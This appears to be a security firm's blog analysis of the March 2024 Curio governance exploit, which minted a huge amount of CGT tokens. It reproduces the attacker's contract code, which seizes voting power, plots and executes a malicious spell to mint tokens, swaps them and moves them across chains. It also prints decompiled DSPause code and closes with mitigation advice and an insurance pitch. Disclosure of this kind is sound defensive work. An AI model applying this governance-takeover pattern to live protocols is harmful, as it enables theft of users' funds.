Analysis of the Curio Exploit

7 min read

Learn how Curio was exploited, which resulted in a loss of approximately $16 million.

TL;DR#

On March 23, 2024, Curio was exploited across multiple networks, including the Ethereum Mainnet and BNB chain, which resulted in an excessive minting of 1,000 billion CGT tokens, leading to a loss of assets worth approximately $16 million.

Introduction to Curio#

Curio Invest is a protocol that enables investors to purchase tokens directly backed by limited edition collectable cars.

Vulnerability Assessment#

The root cause of the exploit is a flaw in access control relating to the voting power privilege.

Steps#

Step 1:

We attempt to analyze one of the attack transactions executed by the exploiter.

Step 2:

An attacker used the cook function of the attack contract to then leverage the IDSChief and IDSPause contracts in order to execute a governance manipulation to mint an excessive amount of CGT tokens.

function cook(address _cgt, uint amount, uint wethMin, uint daiMin) external onlyPans {
  cgt = IERC20(_cgt);
  cgt.transferFrom(msg.sender, address(this), amount);
  cgt.approve(address(chief), amount);
  chief.lock(amount);
  address[] memory yays = new address[](1);
  yays[0] = address(this);
  chief.vote(yays);
  chief.lift(address(this));

  spell = new Spell();
  address spelladdr = address(spell);
  bytes32 tag;
  assembly {
    tag := extcodehash(spelladdr)
  }
  uint delay = block.timestamp + 0;
  bytes memory sig = abi.encodeWithSignature("act(address,address)", address(this), address(cgt));
  pause.plot(address(spell), tag, sig, delay);
  pause.exec(address(spell), tag, sig, delay);

  _swap0();
  _swap1();

  require(weth.balanceOf(address(this)) >= wethMin, "not enought weth");
  require(dai.balanceOf(address(this)) >= daiMin, "not enought dai");

  _toBsc();
  _toSkale();
  _toPolkadot();
  _toBoba();

  weth.transfer(pans, weth.balanceOf(address(this)));
  dai.transfer(pans, dai.balanceOf(address(this)));
  cgt.transfer(pans, cgt.balanceOf(address(this)));

  sig = abi.encodeWithSignature("clean(address)", address(cgt));
  pause.plot(address(spell), tag, sig, delay);
  pause.exec(address(spell), tag, sig, delay);
}

Step 3:

The attacker leveraged to lock just 2e18 CGT tokens and abused the governance voting in their favor.

undefined

Step 4:

By elevating privileges, the exploiter was able to gain enhanced control over the protocol, and then they executed a delegate call to the malicious Spell contract via the IDSPause contract.

Step 5:

A bigger voting power could allow attackers to lift themselves and gain the plot function power.

function plot(bytes4 function_selector, uint256 varg1, uint256 varg2, uint256 varg3, uint256 varg4) public payable {
  require(msg.data.length - 4 >= 128);
  require(varg3 <= 0x100000000);
  require(4 + varg3 + 32 <= 4 + (msg.data.length - 4));
  require(!((varg3.length > 0x100000000) | (36 + varg3 + varg3.length > 4 + (msg.data.length - 4))));
  v0 = new bytes[](varg3.length);
  CALLDATACOPY(v0.data, 36 + varg3, varg3.length);
  v0[varg3.length] = 0;
  v1 = 0x1473(0xffffffff00000000000000000000000000000000000000000000000000000000 & function_selector, msg.sender);
  require(v1, Error("ds-auth-unauthorized"));
  require(block.timestamp + _delay >= block.timestamp, Error("ds-pause-addition-overflow"));
  require(varg4 >= block.timestamp + _delay, Error("ds-pause-delay-not-respected"));
  v2 = 0x16cc(varg4, v0, varg2, address(varg1));
  _plans[v2] = 0x1 | (~0xff & _plans[v2]);
  v3 = new array[](msg.data.length);
  v3[msg.data.length] = 0;
  emit ~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffff & (0xffffffff00000000000000000000000000000000000000000000000000000000 & function_selector)(msg.sender, varg1, varg2, msg.value, v3);
}

Within the plot, a malicious contract is approved, and it is used as an exec library. This delegate call to the malicious library allowed the hacker to mint an excessive amount of CGT tokens.

function exec(bytes4 function_selector, uint256 varg1, uint256 varg2, uint256 varg3, uint256 varg4) public payable { 
  require(msg.data.length - 4 >= 128);
  require(varg3 <= 0x100000000);
  require(4 + varg3 + 32 <= 4 + (msg.data.length - 4));
  require(!((varg3.length > 0x100000000) | (36 + varg3 + varg3.length > 4 + (msg.data.length - 4))));
  v0 = new bytes[](varg3.length);
  CALLDATACOPY(v0.data, 36 + varg3, varg3.length);
  v0[varg3.length] = 0;
  v1 = 0x16cc(varg4, v0, varg2, address(varg1));
  require(0xff & _plans[v1], Error('ds-pause-unplotted-plan'));
  require(EXTCODEHASH(address(varg1)) == varg2, Error('ds-pause-wrong-codehash'));
  require(block.timestamp >= varg4, Error('ds-pause-premature-exec'));
  v2 = 0x16cc(varg4, v0, varg2, address(varg1));
  _plans[v2] = 0x0 | ~0xff & _plans[v2];
  v3 = new array[](v0.length);
  v4 = v5 = 0;
  while (v4 < v0.length) {
    v3[v4] = v0[v4];
    v4 = v4 + 32;
  }
  v6 = v7 = v0.length + v3.data;
  if (0x1f & v0.length) {
    MEM[v7 - (0x1f & v0.length)] = ~(256 ** (32 - (0x1f & v0.length)) - 1) & MEM[v7 - (0x1f & v0.length)];
  }
  require(_proxy.code.size);
  v8, v9 = _proxy.exec(address(varg1), v3).gas(msg.gas);
  require(v8); // checks call status, propagates error data on error
  RETURNDATACOPY(v9, 0, RETURNDATASIZE());
  MEM[64] = v9 + (RETURNDATASIZE() + 31 & ~0x1f);
  require(RETURNDATASIZE() >= 32);
  require(MEM[v9] <= 0x100000000);
  require(MEM[v9] + v9 + 32 <= v9 + RETURNDATASIZE());
  require(!((MEM[MEM[v9] + v9] > 0x100000000) | (MEM[v9] + v9 + 32 + MEM[MEM[v9] + v9] > v9 + RETURNDATASIZE())));
  v10 = v11 = 0;
  while (v10 < MEM[MEM[v9] + v9]) {
    MEM[MEM[64] + 32 + v10] = MEM[32 + (MEM[v9] + v9) + v10];
    v10 = v10 + 32;
  }
  v12 = v13 = MEM[MEM[v9] + v9] + (MEM[64] + 32);
  if (0x1f & MEM[MEM[v9] + v9]) {
    MEM[v13 - (0x1f & MEM[MEM[v9] + v9])] = ~(256 ** (32 - (0x1f & MEM[MEM[v9] + v9])) - 1) & MEM[v13 - (0x1f & MEM[MEM[v9] + v9])];
    v12 = v14 = 32 + (v13 - (0x1f & MEM[MEM[v9] + v9]));
  }
  require(_proxy.code.size);
  v15, v16 = _proxy.owner().gas(msg.gas);
  require(v15); // checks call status, propagates error data on error
  require(RETURNDATASIZE() >= 32);
  require(address(v16) == address(this), Error('ds-pause-illegal-storage-change'));
  v17 = new array[](msg.data.length);
  v17[msg.data.length] = 0;
  emit ~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffff & (0xffffffff00000000000000000000000000000000000000000000000000000000 & function_selector)(msg.sender, varg1, varg2, msg.value, v17);
  v18 = new array[](MEM[MEM[v9] + v9]);
  v19 = v20 = 0;
  while (v19 < MEM[MEM[v9] + v9]) {
    v18[v19] = MEM[32 + MEM[64] + v19];
    v19 = v19 + 32;
  }
  v21 = v22 = MEM[MEM[v9] + v9] + v18.data;
  if (0x1f & MEM[MEM[v9] + v9]) {
    MEM[v22 - (0x1f & MEM[MEM[v9] + v9])] = ~(256 ** (32 - (0x1f & MEM[MEM[v9] + v9])) - 1) & MEM[v22 - (0x1f & MEM[MEM[v9] + v9])];
  }
  return v18, v23, msg.data.length;
}

Step 6:

The exploit wasn't just limited to minting and manipulating governance; it also extended into sophisticated financial strategies involving token swaps and cross-chain transfers.

The repeatitive swaps and transfers indicate a methodical plan to distribute and obscure the trail of the minted tokens across multiple platforms and blockchains.

Step 7:

The exploiter was holding $17,050,071 worth of assets, including 996 billion CGT tokens worth $16.86 million, 23 WETH worth $84,191, 64.23 BNB worth $38,213, $34,926 worth of DAI, 104,879 SKL tokens worth $12,724, and 2.95 ETH worth $10,829, among others. These stolen assets are now worth $15,784,438 and are still held at the address controlled by the attacker.

Aftermath#

The team acknowledged the occurrence of the exploit on the Ethereum Mainenet and stated that the other contracts within the Polkadot and Curio chains remained secure.

The post-mortem report published by the team detailed the outline of the exploit that affected CGT and liquidity pools across Capital DEX, Uniswap, and PancakeSwap on the multiple networks supported by Curio DAO. According to the team, the losses on Etheremun Mainnet are around $113,000 worth of assets, $38,000 on BNB Chain, $28,000 on SKALE Chain, and $1000 on the Boba networks.

Solution#

In addressing the vulnerabilities exploited in the Curio incident, a multifaceted approach is necessary to ensure the integrity and security of DeFi protocols. Initially, the focus must be on strengthening access control mechanisms. This involves implementing more rigorous checks within the governance model to prevent unauthorized manipulation of voting power. The protocol could employ multi-signature requirements or a more distributed voting system to diminish the impact of any single entity's actions.

The exploit underlines the critical importance of continuous and comprehensive smart contract audits. Regular auditing by independent third parties can uncover potential security flaws that could be exploited maliciously. Moreover, engaging in bug bounty programs can incentivize the discovery and disclosure of vulnerabilities in a controlled and safe manner, allowing developers to address issues before they are exploited.

Implementing time locks on significant governance decisions can provide an additional layer of security. Time locks would enforce a delay between the proposal and the execution of governance actions, giving the community ample time to review and contest potentially malicious proposals. This buffer period could be crucial in preventing hasty or covert actions that could harm the protocol.

Despite having strong security measures in place, the possibility of vulnerabilities being exploited cannot be entirely eliminated. In these scenarios, the services offered by Neptune Mutual become critically important. Neptune Mutual offers a dedicated cover pool designed to mitigate the adverse effects of incidents like the Curio exploit. It provides coverage against losses due to smart contract vulnerabilities, using parametric policies specifically crafted for these types of risks.

Working with Neptune Mutual streamlines the recovery process for users by eliminating the need for detailed proof of loss documents. Following the confirmation and resolution of an incident under our comprehensive incident resolution framework, we focus on quickly providing compensation and support to those affected. This ensures that users impacted by security breaches receive prompt assistance.

Our marketplace coverage spans several major blockchain platforms, including EthereumArbitrum, and the BNB chain, thereby offering extensive support to a vast array of DeFi participants. This broad coverage network enables us to protect against a variety of vulnerabilities, thereby increasing the safety and security of a wider user base.

Reference Source Hacken

By

Tags